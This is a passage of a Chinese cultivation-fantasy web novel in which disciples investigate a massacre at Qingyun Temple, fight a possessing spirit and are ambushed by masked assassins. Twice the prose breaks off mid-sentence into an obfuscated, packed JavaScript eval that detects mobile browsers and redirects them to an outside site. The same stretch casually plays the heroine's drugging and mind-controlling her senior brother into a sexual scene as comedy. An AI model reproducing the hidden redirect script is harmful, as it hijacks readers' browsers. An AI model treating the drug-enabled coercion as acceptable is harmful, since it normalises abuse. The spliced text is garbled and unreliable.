女孩抓住宋清词握着的手,像抓到了救命稻草,“你说的错,这件事情跟我没关系!全是他们的错,全是他们的错………”
她嘴里重复着这句话,不停地安慰自己。
宋清词另一只手轻轻拍打着女孩的后背,直到她情绪平静下来。
“对不起姐姐,”女孩冷静过后终于意识到自己在做什么,松开了紧抓着宋清词的手,内心快要被自责淹没,“对不起,对不起,我不是故意的。”
宋清词反握住她道:“不用道歉,如果觉得累了可以闭上眼睛休息,有我们在这里,不会再发生和之前一样的事。”
“不好的事情已经过去了。”
现在她的状态也问不出什么来,要是一直处于紧绷的状态,结果只会越变越糟。
宋清词的话好似喂了女孩一颗定心丸,她的心稍微放松了些,“姐姐你说的对,不好的事已经过去了……”
女孩的声音越说越小,说到后面没了声儿,两眼阖上,靠在大殿的柱子上睡着了。
宋清词压低声量道:“你去做别的吧,她有我守着。”
赵燕茹不疑有它,转身去和其他弟子一同问话。
宋清词需要理理目前的事情。
女孩的反应和别人不一样,提到那件事情反应出乎意料地大。
最让她感觉奇怪的还是在女孩说出那话时,经历过那件事众人的反应,一般来说不应该觉得奇怪么?
可他们出奇地平静,仿佛对此事心知肚明,所以才会一致保持沉默。
还有大殿的墙上为什么会贴满符?
就像在故意压制大殿内的什么人,不让它出去一样的。
她胡思乱想的时候,脑海里响起了冰冷的机器音。
【周遭的一切化为乌有,剩下二人的空间里,你的手指一寸寸攀上谢鹤之的下巴,再到脸颊,你们二人亲吻着彼此,恨不得将对方融入自己的血肉里,化为身体里最亲密的一部分。】
【暧昧的氛围节节攀升,融入空气发酵开,此时你已经顾不上其它,被谢鹤之托着坐在交椅上,双手紧紧环着他的腰。】
【你和谢鹤之的距离近在迟尺,近到连他脸上细小的绒毛都能看得清清楚楚,你娇喘着粗气,急不可耐地解开他的衣袍。】
【谢鹤之束缚住你乱摸的双手,放在最需要它的位置,细细密密地吻落在你额头,鼻尖,脸颊,脖子,再往下……】
8. 青云寺(三)
大殿内的隔间。
谢鹤之端坐在桌前的一边,拇指轻轻摩挲剑柄,不经意问道:“青云寺的僧人去哪里了?”
正对面穿着布衣的男人垂着头,状若思考,一言不发。
他不说话,谢鹤之就这么看着他。
男人的头发成了鸡窝,乱糟糟的,身上破破烂烂的布衣满是补丁,袖子被划开好几道长长的血痕,整个人看上去颓废不堪。
隔间内只听得见外面众人的哭泣声以及各种安慰的声音。
半晌。
他经历了内心反复的挣扎,出声道:“青云寺的僧人都死了。”
“他们都死了。”男人再次重复了这一句话,沙哑的声音带着自己都没察觉的颤音。
谢鹤之说:“怎么死的?”
“被人杀死的。”
“谁杀的?”
“我不知道,他们死的很突然,谁都没反应过来。”
“那当时发生了什么?”
男人回忆起当时的场景,脸上挂着痛苦的表情,言辞含糊道:“记不清了,我们在宝殿祈福,结果突然杀出来一群黑衣蒙面人,把僧人全杀了。”
“只杀青云寺的僧人?”谢鹤之凝着眉头,紧紧盯着男人,不放过一丝一毫细微的动作。
他无力地弯下腰捂着脸,突然想到了什么,神色恍惚,自言自语道:“不…不对!当时的确冲出来一群黑衣人不假,可他们打着打着竟自相残杀,连青云寺的那些僧人们也都跟着相互殴打起来,场面乱成一锅粥,死了好多人。”
青云寺离不久前发生灾祸的庆安国相近,庆安国这个地方比较特殊,虽地处于凉州,按道理来说应属天剑宗管辖的地带,可并非如此。
两百年前,天剑宗和轩辕一族达成协议,把庆安这块小地划给轩辕一族,归他们独立管理,除非有关生死存亡之际或违背了定下的规定,否则天剑宗绝不会插手庆安国的任何决策。
多年来外界对这件事情众说纷纭,说什么的都有,偏偏天剑宗亦是轩辕皇族都闭口不提此事。
谢鹤之听闻庆安国前段时间横遭灾祸,具体发生了什么不得而知,不过死了许多普通人,那些贵族倒安然无恙,有部分人为活命,逃出了庆安国一路沿南来到最近的青云寺。
青云寺的僧人出了名的心善,于是这些从庆安国而来的难民借着这份心善,乞求僧人收留流离失所的他们,青云寺的主持于心不忍,便让他们暂时生活在寺内。
如今存活在青云寺的人要么是这些难民,要么是前来烧香的香客。
眼前的男人穿着破烂,不像前来青云寺烧香的香客,那便属于前者。
男人提供的两种说法自相矛盾,一开始说青云寺的僧人被冲出来的黑衣人全杀了,一会儿又说僧人和黑衣人两拨人自相残杀。
如果连身上带着些修为的僧人和黑衣人都控制不住自己,会自相残杀,那么比他们实力落一大截的难民,又为何不受影响?
显然他自己也清楚这点。
“我真的记不清了,事到如今,没什么好说的。”男人放弃了挣扎,自暴自弃道:“你还想问什么?”
谢鹤之问道:“既然他们后面开始自相残杀,那为什么宝殿的墙上会贴满符?”
男人眼中流露出一丝迷茫,“宝殿墙壁贴满符?什么时候?”
谢鹤之没曾想他这一问竟问住了男人。
“没什么,”谢鹤之跳过这个话题,继而转移到下个问题道:“你说你们全在寺内,那怎么回到宝殿的?”
此话像一颗雷,正好击中男人的心里,空气中霎时间又陷入死一般的静寂。
男人喃喃道:“对啊,我们是怎么回宝殿的?怎么回宝殿的?”
他宛如被卷入了无尽的漩涡,抱着头,嘴里不停地重复同一句话,连带着眼神跟着呆滞。
说时迟那时快,谢鹤之双手飞快打着结印,印成的那瞬间,结印迅速进入男人的身体,
男人如梦初醒,恢复了清醒的状态。
谢鹤之知道再问下去,多半问不出事来了,便让人带他去了外面休息。
后面接连问了好几个人,最初问的几个问题,他们还回答的好好的,可若触及到他们是如何回到宝殿的,又会陷入刚刚那个男人一样的状态。
真叫人感觉奇怪。
谢鹤之把玩着腰间的玉佩,这会儿正休息,猝然想起自己一直忽略的那个问题,想也不想,当即再指名一个人进来。
来人正是刚进来时和他对问的小女孩。
小女孩不见半分胆怯,坐在下方的木椅上,用那双死气沉沉的双眼一动不动地盯着谢鹤之。
谢鹤之斜靠在座椅上,那双漆黑如墨的眸子和她正对上,仿佛误闯进深不见底的深渊,他说:“是你通知我们过来的对吗?”
此话用的不是疑问,而是肯定。
小女稍抬眼睑,忽地笑了,笑意不达眼底,那样子哪里还有半分孩童的稚气?
她不置可否道:“你怎么知道?”
谢鹤之心下了然,哂笑道:“你猜。”
“宝殿上贴着的符是用来封印你的?”
小女孩矢口否定:“当然不是。”
谢鹤之轻抚着玉佩,对小女孩的否定毫不意外,反正他就那么随口一问,随便一猜。
没想到真给他猜中了。
主要女孩的反应和其它人太不一样了,包括她刚进来连上挂着的表现没有半分五六岁孩童该有的样子。
漏洞百出的演技,仿佛特意让他来戳穿她,那他便如了她的心愿。
电光火石间,剑光闪烁,长剑出鞘,刚才还在笑着的谢鹤之握着剑柄,不留情面地将剑驾在小女孩的脖子上,余光阴冷如冰,“你到底是谁?”
小女孩不惧反往劚玉如泥的剑脊上靠,纤细如柳条的脖颈顿时沁出血珠,划开一道细小的伤痕。
她开怀大笑,笑得无比张狂,几乎快要落下眼泪,“无需管我是谁,你只需要知道你今天必须得死在这里!”
“你敢动手吗?我只是暂时依附在这具身体里罢了,随时可脱离逃走,但这副身体的女童就不一定了,倘若你敢动手,她必死无疑。”
“到时候就是你,天剑宗的亲传弟子,亲手杀死了一名幼小的女童!”
女孩咄咄逼人,步步紧逼着谢鹤之,把他架在火炉上烤。
二人僵持不下之际,有道细软的声音从门外传来。
“那个……不好意思,打扰你们了哈。”
宋清词缓缓走进来,打破了面前的局面,负手而立,圆润的眸子转了转,看向女孩,无比诚恳建议道:“虽然我来得时机不对,但我还是要劝你一句,回头是岸,元曜。”
“关你屁事。”女孩冷眼斜睨着她,不情不淡吐出这四个字,随后发出桀桀桀的声音,“原本我都打算放你一马的,谁想你非要找死走了过来,今日你死在这里,要怪就怪你师兄!”
“那师兄你动手吧。”宋清词不劝了,果断对谢鹤之道:“留个全尸。”
女孩听了她的话,勃然大怒,浑身散发强大的气息,一股劲风不知从何而来,硬生生挥退了架在她脖子上的那把剑。
她拿出一把平淡无奇的匕首,对着谢鹤之的心口处刺去,动作狠辣利索。
谢鹤之侧身躲闪,紧握着剑柄,反手劈下了女孩手中的匕首,剑光宛若冷月流霜,磅礴浩大的力量凝聚在锋利处,席着重重的压迫感逼得女孩连连后退,他嘴里轻念道:“寒霜孤影,斩。”
转瞬间巨大的阴影将女孩笼罩,无数道光点汇聚成一把硕大的剑影,无形的枷锁使得她无处遁形,逃不掉,躲不开,只得被迫接受剑影一点点朝她落下。
女孩冷哼一声,徒手接住了千钧重负的剑影,直接将它撕了个粉碎,讥讽道:“几百年过去,你们人类仍是这么没本事,天剑宗的人更是一群占着茅坑不拉屎的废物。”
“百年前你们杀不了我,百年后亦如此。”
她爆发出比刚刚还强大的威压,谢鹤之有修为的借力,加上这么几年在外谁历练,显然对这种场面已经得心应手,站在她面前,纹丝不动,可来看戏的宋清词却支撑不住,腿脚一软,差点瘫倒在地。
幸好赵燕茹及时赶来,扶住了宋清词。
宋清词朝赵燕茹投来感谢的目光,在她的搀扶下,宋清词缓缓坐在了地上。
赵燕茹:?
宋清词迎着赵燕茹疑惑的眼神,理直气壮地为自己辩解:“左右我修为摆在这里,与其扛着压力站着。倒不如省些力气,直接坐下。”
女孩哈哈大笑:“说得不错,我瞧你是个识趣的,就让你最后一个死吧!”
说着说着,她注意力全放在谢鹤之身上,集中对付他。
地面剧烈地颤抖,不一会儿,数百条藤蔓破土而出,藤蔓腾空而起,长满了刺人的荆棘,晃晃悠悠地疾驰过去,把谢鹤之包的跟个粽子似得。
这藤蔓的刺不仅细长,还会听着女孩的命令猛地变大,在即将刺穿谢鹤之皮肉时,他终于挥起了剑,跟砍萝卜一样,轻松砍下了将周围堵得水泄不通的藤蔓。
宋清词坐在一旁围观,在心里时不时给谢鹤之加油助威。
赵燕茹见此状了然宋清词完全就是个摆设,发挥不了什么作用,内心焦躁不安,再三纠结下,终是去帮了谢鹤之。
宋清词托着下巴,望着赵燕茹冲过去的背影,眼底划过轻微的诧色,很快又恢复如常。
有了赵燕茹的帮忙,使女孩暂时落入下风。
二人虽是第一次合作,却莫名配合默契,一套配合下来行云流水,像合作了千百次那样,谢鹤之主攻,而赵燕茹主守,在必要时刻下黑手,暗戳戳给女孩补几道。
能看得出来那附身在女孩身上的东西应付起他们来渐渐有些吃力,本来他们的打斗有意无意拉开了与宋清词的距离。
但女孩疏忽调转了个方向,猝不及防地奔向宋清词。
离宋清词近在咫尺的距离,宋清词竟能看到有道透明的团子迎面而来,摆明了朝她的灵海奔来。
可惜在它即将得手之际,一双大手毫不留情地将它捏住,丢进了木箱里。
其实这场斗争里,宋清词看得出依附在女孩身上的东西并没有发挥出全部的实力。
更准确来说是发挥不了,似被什么东西限制住了。
想必这便是附身在其它人身上,这方天地所下的约束,要不然能做到轻而易举附身在他人身上,让别人毫无察觉,又能发挥出自身原有的全部实力,岂不是过于逆天?
天地万物相生相克,此生彼长,此消彼长,这讲究的不过是平衡二字。
所以天地是不会允许这种情况发生的。
宋清词正耷拉着脑袋发愣想着心中的事情,这样子落在谢鹤之眼里,却误以为她被刚刚那东西冲上前的场景吓到了。
他想着到底是自家师妹,若回去被鱼双知晓自己没照顾好,给她落了这种心理阴影,必免不了一顿念叨,便宽慰道:“不要往深处去想,那个老东西已经被抓住了。”
谢鹤之把长剑收回剑鞘,想起了什么,微微眯了眯眼睛,又道:“你用了隔绝阵?”
隔绝阵外的人听不见被布下隔绝阵空间内的任何动静,她用的隔绝阵与普通的隔绝阵有所不同,这是当初鱼双交给她的,不仅其他人难以察觉布下隔绝阵的痕迹,而且除了比布阵之人实力高出一大截的人,旁人很难进入此阵。
所以她才会一进来说出那种话,好转移附身在女孩身上那东西的注意力,趁机偷偷布下隔绝阵。
宋清词轻轻“嗯”了一声,怕谢鹤之误会,解释道:“我怕惊动了宝殿那些人,要是被她们知晓了这里的动静,恐怕会着急忙慌地推开大门跑掉。”
其实在女孩进来的那刻,谢鹤之就悄悄传音给宋清词,让她把宝殿的大门关闭,确保女孩无处可逃。
宋清词刚收到谢鹤之传音的时候,正是在脑海里响起一长串冰冷的机器音后,她脑子晕晕乎乎的,冷不丁收了这么个消息,便立刻按照他说的照做。
他能叫女孩过去,宋清词心里也能猜出了一二,却仍感到奇怪,于是向谢鹤之求证:“三师兄,你说那附身在女孩身上的东西会是那个传闻中的元曜吗?”
谢鹤之系剑的手顿了顿,没有第一时间回答宋清词,反而问她:“你觉得不是?”
宋清词摇摇头:“不太像。”
“何出此言?”谢鹤之说。
宋清词沉思片刻后,余光瞥见不远处正和其他弟子交谈的赵燕茹,快速眨了一圈双眼:“一种直觉,你说呢?”
谢鹤之没注意到她的眼神,重新将泷霜剑在腰间系好,又拿出宗门前鱼双交给他的传牌。
没等他回答她先前的那个问题,又接连问了好几个问题。
“那群人可说了什么?当时青云寺到底发生了何等的变故。”宋清词迫不及待地问道。
她耐不住心里的好奇,总觉得这一切发生的实在过于顺利,顺利地让人难以置信。
谢鹤之那双骨节分明的手不知道在传牌上鼓捣着什么,打了一个结印在上面,直到传牌突然亮了一下,才不急不慢地开口道:“你的直觉没错,但现在不能妄下定论,得交由宗门来判断,我刚刚向宗门说明了事件的来龙去脉,由于此事过于蹊跷,与其它事发地全然不同,他们让我们先回宗再做商讨。”
他回答完宋清词前面的问题,又将自己在从其他人那边问出的话简单地陈述给他听。
宋清词听完,脑子里充斥着不对劲这三个大字,但谢鹤之都那么说了,那她也没必要再纠结下去。
只是这次任务结束的过于快了,自己好像没有发挥用处…起初由于要她使用回溯镜才让她跟随谢鹤之一行人下山的,如今事情结束,她连回溯镜都没拿出来过。
宋清词不再去多想那些别的,如今还有更重要紧急的事情没做成。
现在剧情提示声一直响彻了她整个脑海
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222888|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不断重复着来之前它说出的那几段剧情。
这是在提醒她必须得走剧情了。
布下隔绝阵的空间内只剩下他们两人。
宋清词上下摸索了一番,终于找出能用的上的东西,殷勤地献给谢鹤之,那双亮晶晶的眸子眨巴眨巴,声音软糯糯地的:“和那老东西打斗累不累?三师兄你快喝下这个,有利于快速恢复身体。”
见谢鹤之愣了一下,脸上露出明显的疑虑,她趁热打铁给他洗脑道:“对呀对呀,等下我们得回宗门,这一路指不定碰上什么危险,到时候还得靠着三师兄护着呢!”
为了证实自己的可信度,宋清词自顾自地晃了晃脑袋,凑得更近了,偏生不自知,那股淡淡的梨花香蛊惑着谢鹤之。
谢鹤之喉结不自觉滚动,往后退了退,尽量不闯入那双蛊惑人心的眼睛里,视线却不小心下移到她饱满的红唇上。
谢鹤之轻轻勾唇,笑道:“师妹。”
宋清词疑惑地看向他。
只听他发出一声长长的闷笑,接着说:“别再给我下药了,我喝还不行吗?”
宋清词被拆穿了也不恼,乖乖地将手上握着的那瓶药往前递出去。
若不是被下药的人是谢鹤之,否则他见了她那乖顺的模样,都不会相信是她亲手下的药。
谢鹤之接过那瓶药,打开瓶盖,毫不犹豫地把药吞了下去。
“你就这么吞下去了,万一我下的是毒药怎么办?”宋清词故意问道。
谢鹤之指着自己腰间系着的剑,意味不明:“那我用剑的速度应该会比毒发更快。”
“休息得差不多了,你跟他们说一声,我们等会就走。”
宋清词不明所以道:“等会就走?那外面的那些人呢?”
谢鹤之无所谓地耸了耸肩:“宗门那边会专门的人会处理这件事。”
饶宋清词早有准备,打从一开始就清楚得很谢鹤之是个怎样的人,还是不免心下一惊。
她知道谢鹤之为人极其冷淡,对凡事都很难提得起兴趣,哪怕进入青云寺见证了这么多人的惨状,也无动于衷,好似一个傀儡,只有对完成鱼双交代的任务的责任感,除此之外,再无其它情绪。
但她隐约觉得他又不是这种人,不过转念一想,这些又跟她有什么关系呢?
“我明白了,再等等。”宋清词当然不是在等他们休息,而是在等药效发作的时间。
主要这剧情不好走,思来想去得下点猛药才能顺利走完。
她心里默默倒计时,五,四,三,二,一……
刚数完,宋清词抬头就见谢鹤之的脸骤然升起一抹红,迅速蔓延至耳根。青年的个子比她高了一个头多,此时突然低着头,不冷不热地注视着她,冷淡的眸子染上些许情欲。
谢鹤之双手抱胸,晦暗不明地任由面前的少女细细打量自己,静谧的空间,只有渐渐加重的呼吸声,时快时缓。
他炙热的目光几乎要将宋清词刺穿,他倒要看看她对自己做什么。
宋清词被脑海里的机器音吵得不行,心里哪有半点缠绵悱恻的心情,像极了年纪上来变得无能为力的丈夫,只想早办完,早了事。
二人心思各异。
宋清词抱着这样的心态,手指一点点攀上谢鹤之的下巴,轻轻抚弄着冰冷又柔软的薄唇,蓦地加重些力道,使他不由蹙起眉头。
尽管如此,谢鹤之依旧没说话,由着宋清词的那双手在他身上胡作非为。
宋清词忽然觉得挺有意思的,脱离了无能丈夫的角色,感觉自己又行了。
等凉如水的薄唇微微肿起,沾染上独属于她的温度,才肯放过它,继而攻向他的脸颊,许真是兴致上头,她踮起脚尖,鬼使神差地亲了上去。
亲完宋清词终于意识到自己做了什么,偷偷看了眼谢鹤之垂在两侧的手。
没动。
她深深缓了口气,强压下席卷心头的尴尬,调整好心态,话音软糯好似在撒娇:“三师兄,可以托着我坐在交椅上嘛?”
谢鹤之狭长的双眼似笑非笑地看着她,慢条斯理地道了声“好”。
他不知抱着什么样的想法,就想着宋清词接下去还能做出何等胆大的举动。
宋清词被谢鹤之结实有力的臂膀轻松托着坐在交椅上,他刚想松开抱着她的臂膀,却察觉有一双手紧紧环着他的腰。
他们挨得距离极近,宋清词甚至能清楚地数清谢鹤之脸上有多少根睫毛。
宋清词抱着谢鹤之不撒手,面色如常,可如擂鼓般急促的心跳出卖了她心中的情绪。
“我还以为师妹对这种事早就习以为常。”谢鹤之佯装惊诧万分说道。
宋清词趴在谢鹤之胸前,听着他一如往常平缓的心跳,微笑回击道:“说哪里的话?我看师兄才是习以为常,难怪现在会波澜不惊。”
她果决松开了环着谢鹤之腰间的双手,揉着胸口处跳动不止的心脏,一时间呼吸不上来,喘着气道:“我还有最后一个心愿,师兄能不能帮帮我?”
方才还在和他拌嘴的人现在犹如突发疾病的将死之人,谢鹤之挑了挑眉头,示意她接着说下去。
宋清词又掏出一枚丹药,撬开谢鹤之的嘴,硬生生塞了进去,做完这个举动,她额头沁出丝丝冷汗,借揉胸口处,偷瞄着谢鹤之。
谢鹤之面无表情,立在身前,等着她下一步动作。
宋清词微不可察的松了口气,找准了谢鹤之衣带的位置,伸手去揭他的衣袍。
唉,人生如戏,全靠演技。
她真的很心累,已经不敢想这档子事结束了之后,要怎么面对谢鹤之。
本来她没有强迫谢鹤之服下第二颗药丸的准备,只打算给他喂一颗药,可做到后面都那样了,强迫他吃一颗药和两颗药又有何等的区别?
干脆心下一横,至少完成了这次任务再说。
宋清词塞进谢鹤之嘴里的那颗药丸是傀儡丹,顾名思义,反是服下了傀儡丹人,就会像傀儡一般,听从喂他傀儡丹的人一切指令。
这丹药还是宋清词从原主储物袋里发现的好东西。
她给谢鹤之下的指令无非就是系统给的那些剧情,要怪只能怪系统,怨不得她。
谢鹤之果真如剧情里那样,束缚住了宋清词胡作非为的双手,大而有力的手握住她的手腕,高高举起了它,让它立在空中,他的力气实在大,叫宋清词没力气同作挣扎。
最需要它的位置除了上面就是上面。
接下来无非做做样子,谢鹤之用鼻尖轻点着她的额头,鼻尖,脸颊,脖子,再往下,放下了被束缚的双手,点了点它。
伴随着谢鹤之动作的结束,宋清词脑海里终于清净了,看来系统对这完成度没太大的意见。
然而她现在犯了难,有点不知道接下来该如何面对谢鹤之。
她在心里连连叹息,这次实在失算了,鬼知道系统会一连串弄出那么多剧情,这还是首次发生,之前好歹不是连着的。
9. 出青云寺
如此想着,在宋清词愣神之际,面前的谢鹤之早已不似方才懵懵的模样,恢复了往常的清明神态。
只听他似笑非笑地说道:“师妹当真好手段。”
宋清词佯装谦虚说:“哪里哪里,迫不得已。”
生怕他再继续追问下去,宋清词连忙提醒道:“算算时间也差不多了,我们该走了。”
她可没有第二枚傀儡丹了。
谢鹤之轻没多说什么,慢慢整理了桌上的东西,放着的东西没几件,收拾起来也快。
宋清词不想再和谢鹤之待在同一空间内了,趁着他收拾的缝隙,草草丢下一句:“我去和他们说一声。”便走得没影了。
宋清走到宝殿,向众人转述着谢鹤之的话,不忘在后面添几句补充用来安慰这些经历过九死一生的人,“大家无需担心,之前伤你们的人已经被我们抓住,这件事也算告一段落。”
后面的话让那些人依旧沉默,其中部分人倒神色微动,看上去他们所有人对事情处理的结果包括案件的凶手毫不在意,只想早点结束。
宋清词说:“青云寺变成如今的这幅样子,已经不宜多留,大家可另寻新去处。”
言罢,宋清词把话说到这个份上了,众人心里跟明镜似的,自然不可能再待下去,抛开别的不说,青云寺发生了重大的凶案,就证明不便久留。
于是便起身各自离开。
待他们离开不久后,谢鹤之从隔间里慢条斯理地走了出来。
天剑宗的弟子在一旁静静候着,虽然他们很想知道这件事情到底是怎么结束的,但实在没那个胆子去问谢鹤之,他周身散发出凛冽的气息,光看着就使人产生畏惧。
宋清词作为亲眼见证事情的当事人之一,自是不可能去问谢鹤之的,可转念想到了被那老东西附身的小女孩,询问的话刚到嘴边,抬眸一瞧谢鹤之身后跟着小心翼翼的的小女孩,又硬生生咽了下去。
小女孩亦步亦趋地跟在谢鹤之背后,没注意到他停下的脚步,鼻子和他结实的后背撞了个正着。
她痛得露出生理性的眼泪,怕谢鹤之不喜,着急忙慌用脏兮兮的衣袖擦了擦,“谢谢哥哥。”
在众人的目光下,朝着宋清词的方向跑去,紧紧抱着她的腰,仿佛谢鹤之是什么会吃人的怪物,避之不及。
宋清词摸住她环在自己腰上颤抖的双手,轻轻拍着,直至小女孩松开了她,身子不再颤抖时,才蹲下身来,柔声道:“你叫什么名字?”
小女孩有些不好意思,可宋清词的语气过于温柔,在场的人也没有跟记忆的那群人一样,便鼓足了勇气道:“我没有名字,不过主持他们都喊我小月。”
“我自幼无父无母,生下来就被爹娘抛弃,是主持好心收养了我,将还在襁褓里的我带回了青云寺。”
“本来他们打算替我找一户好人家将我送出去的,那户人家的夫妻恩爱,成婚数十载始终没有子嗣,偏偏他们又喜欢孩子,便想着抱养一个。”
“结果在准备抱养我的前几日,妻子却怀有身孕……后来主持给我找的好几户人家都因发生突如其来的变故不能抱养我,次数多了,主持就歇了这份心意,说我亲缘线浅薄,命定孤身一人,他们不给我取名字,说是日后会有个有缘人替我取。”
小月一口气说出了好几段话,把自己的身世说得明明白白,其中几名天剑宗的弟子看向她的眼神带着几分怜惜。
她用只有两个人才能听得到的声音,对着宋清词说:“姐姐我知道你们想问的,但那日的场景,不是我不想告诉你,实在是记不清了。”
话已经说到这里,宋清词不可能再去追问她哪日发生的事情,只是她没有错过小月说这话时眼底一闪而过的心虚。
恰逢此时,赵燕茹进来插话:“青云寺变成这样,你可想好接下来的去处?”
“没有。”小月抿嘴,沮丧道:“对我来说,青云寺就是我家,之前从来没想过第二个去处。”
除小月之外的其他人被天剑宗的弟子送走了,宝殿内除了天剑宗的人,就剩下小月。
宋清词眼珠若有所思地转了转,心下顿时有了主意,“既然目前没有去处,如果不嫌弃。不如先和我们一同回天剑宗如何?天剑宗可以收留你,直到有了新主处为止。”
线下这个提议能说是最为妥当的了,再怎么说小月都被那老东西附身,保不齐身上留下了后遗症或能危及到她生命的东西。
她若一个人,必定无法应对。
小月犹豫了,“会不会太给你们添麻烦?”
宋清词笑眯眯道:“当然不会,你说是吧三师兄?”
谢鹤之颔首道:“嗯。”
赵燕茹咧嘴一笑:“你看,没人会觉得麻烦。”她朝着其他人扬起嘴角。
张奕忙不迭道:“是是,你放心。”
他们好说了几句,小月总算放下心,愿意跟随一起去往天剑宗。
宋清词前脚刚迈出青云寺的大门,就收到了谢鹤之的传音,只好掉头放慢了步伐,对着在前头等候的一行人喊道:“不必等我,你们先走,我去拿个漏下的东西,拿完就过去追上你们。”
她重新走了一遍青云寺,来到了隔间,随手丢了黑不溜秋的小球藏在角落,掌心向上,大拇指和无名指轻触,泛着淡淡的白光,白光从指尖缓缓流出,如蝴蝶般翻飞融进小球里。
等到院外没有动静了才出来,青云寺内只剩下她一人,宋清词慢悠悠掏出张光彩四射的符,捻在食指与中指间,随意一扔,符在半空中飘动,贴到了宝殿的牌匾上的瞬间,散发出的光彩消失得无影无踪,连着整张符都隐匿起来。
出了青云寺,宋清词沿着弯弯曲曲的小路找到了谢鹤之一行人。
她走的进些听到了他们的议论声。
“师兄,你觉不觉得附近有奇怪的声音?”说话的少年双手抱胸,瑟瑟发抖。
“哪里的话?有师兄在,还能发生什么事?”出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222889|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言反驳的人不以为意,“我们刚刚来的时候还好好的,现在回去左右不过几个时辰,怎么可能出意外?”
“你们别说了,”少女听着双手抱胸的少年的话跟着害怕起来,哆嗦的声音出卖了她,又听了另外一句话,吊着的心又放了下来,叉腰道:“林鹤你别乱说话!要真出了意外全怪你这张乌鸦嘴。”
那名被叫做林鹤的人瑟缩了一下,觉得他们说的有道理,希冀的眼神看向谢鹤之,坚定了自己。
一路走来,谢鹤之鲜少开口说话,他们的胆子也愈发大了起来,不似来的路上畏缩的样子。
谢鹤之任由他们怎么说,反正不开口劝解。
他们这样吵,一时间连赶来的宋清词也没注意到,谢鹤之倒心有所觉地转头扫了一眼宋清词。
宋清词冲谢鹤之一笑,他不提隔间发生的事,她就不说,当作没事人一样。
小月对她有种莫名的依赖,绕过其他人,来到了宋清词身边,瞥见她右手拿着的东西,眉眼微微松开,心里堪堪定神。
赵燕茹凑在她耳边低语了几句。
宋清词静静听着,最后回头侧目望着青云寺,嘴角噙着笑,捏了几下小月柔软的脸颊。
他们这么一路走着,天空黑沉沉一片,几乎滴得出墨来,山间竹林传来窸窸窣窣的声音,好几道黑影疾驰掠过,拦在他们面前。
“诸位,请留步。”
“今日,就是你们的死期。”
拦着他们的一行人身着黑衣,头戴斗笠,面具将他们的脸遮得严严实实,除了露在外面的一双眼睛,再也看不见其它有关身份的任何东西。
话音落下的霎时间,空气凝滞住,青云寺的大门上挂着的夜明珠充当这片天地间一轮新的明月,拉长他们拖在地上的影子。
黑影摇曳。
一行黑衣人分散开,挑着他们挨个下手,为首的黑衣人拔剑对着谢鹤之颈间劈去,谢鹤之反应速度快,剑劈下的须臾,就被他用霜影剑挡了回去。
这群黑衣人动手的动作极其迅速,像专门经历过训练的一样,唯一的目的就是让他们今天死在这里。
天剑宗的其他人经验不如谢鹤之丰富,可到底出身大宗门的人,也能同他们过几招。
只是黑衣人的人数比他们多两个,来了十个黑衣人,一开始还能同黑衣人你一招我一招的过,打到后面便有些吃力了。
宋清词身上有鱼双给的一些傍身的天下地宝,加上原主自己捡到的,比别人的情况好些,不过她还得护着孤弱的小月,总敌不过他们,渐渐落了下风。
与她打着的黑衣人发觉她手上能用的东西确实多,一时半会没办法解决她,朝着附近站着的黑衣人使了个眼色,那个黑衣人飞速赶来。
原本一对一对局面变成了宋清词一个人打两个黑衣人。
两个黑衣人配合得十分默契,打得宋清词拉着小月连连闪躲,千钧一发之际,赵燕茹出剑挡住了直逼她眉心的一剑。
10. 椿水镇
宋清词向赵燕茹投去感激的目光,抱着小月的手更紧了。
他们离亭子里的传送阵只有一步之遥,突然出现的黑衣人将他们打得措不及防。
这群黑衣人十有八九是故意的掐着这个时机出现的,否则宋清词不信会有这么凑巧的事情发生,去的时候不来,在青云寺内不来,偏生离传送阵近在咫尺时从天而降。
如果说是巧合,那未免太凑巧了些。
宋清词将小月推到赵燕茹边上,拿出了类似于罩子的法器,紧紧罩住他们三个人。
罩子隔绝与外界的一切接触,能在里面观察出外面打斗的情形,但外面却不能看到罩子里的情况。
宋清词听见了从外面传来的兵剑碰撞发出的争鸣声,他们用尽各自的手段抵御黑衣人。
宋清词待在罩子里随机拉一个天剑宗幸运儿进罩子,里面的空间有限,容不下那么多人,所以只能挪动透明罩子挨个将他们送过去。
她本想让赵燕茹带着小月先回去,可不知怎的,赵燕茹和小月二人没有一个人愿意先坐传送阵走,她只好挨个运其他人坐传送阵。
一边观察打斗的形势,一边时不时透过透明罩子的小隔子向外扔出爆裂符,夜黑风高,扔符成了门技术活,不能砸到自己人,必须精准找到与月色融为一体的黑衣人。
跟着他们打斗的人越来越少,饶是那群黑衣人是傻子也看出不对劲,权衡利弊之下,留了两人对付还在打的那个人,余下的黑衣人齐刷刷包围了透明罩子。
好在剩下的人不多。
宋清词心里暗自盘算着,突然咯噔了一下,天剑宗一共去了八个人,除去她们最开始待在透明罩子的三个人,她趁着黑衣人不留神送走了四个,那么现场剩下的只有谢鹤之。
谢鹤之应该可以以一打十…吧?
宋清词一连扔了七八张爆裂符,每张都精准摔在了黑衣人身上,使他们自顾不暇,她扔的爆裂符不同意普通的爆裂符。
符和符之间有品级之分,按照天地玄黄分为五种水平,五种水平里又分为上中下。
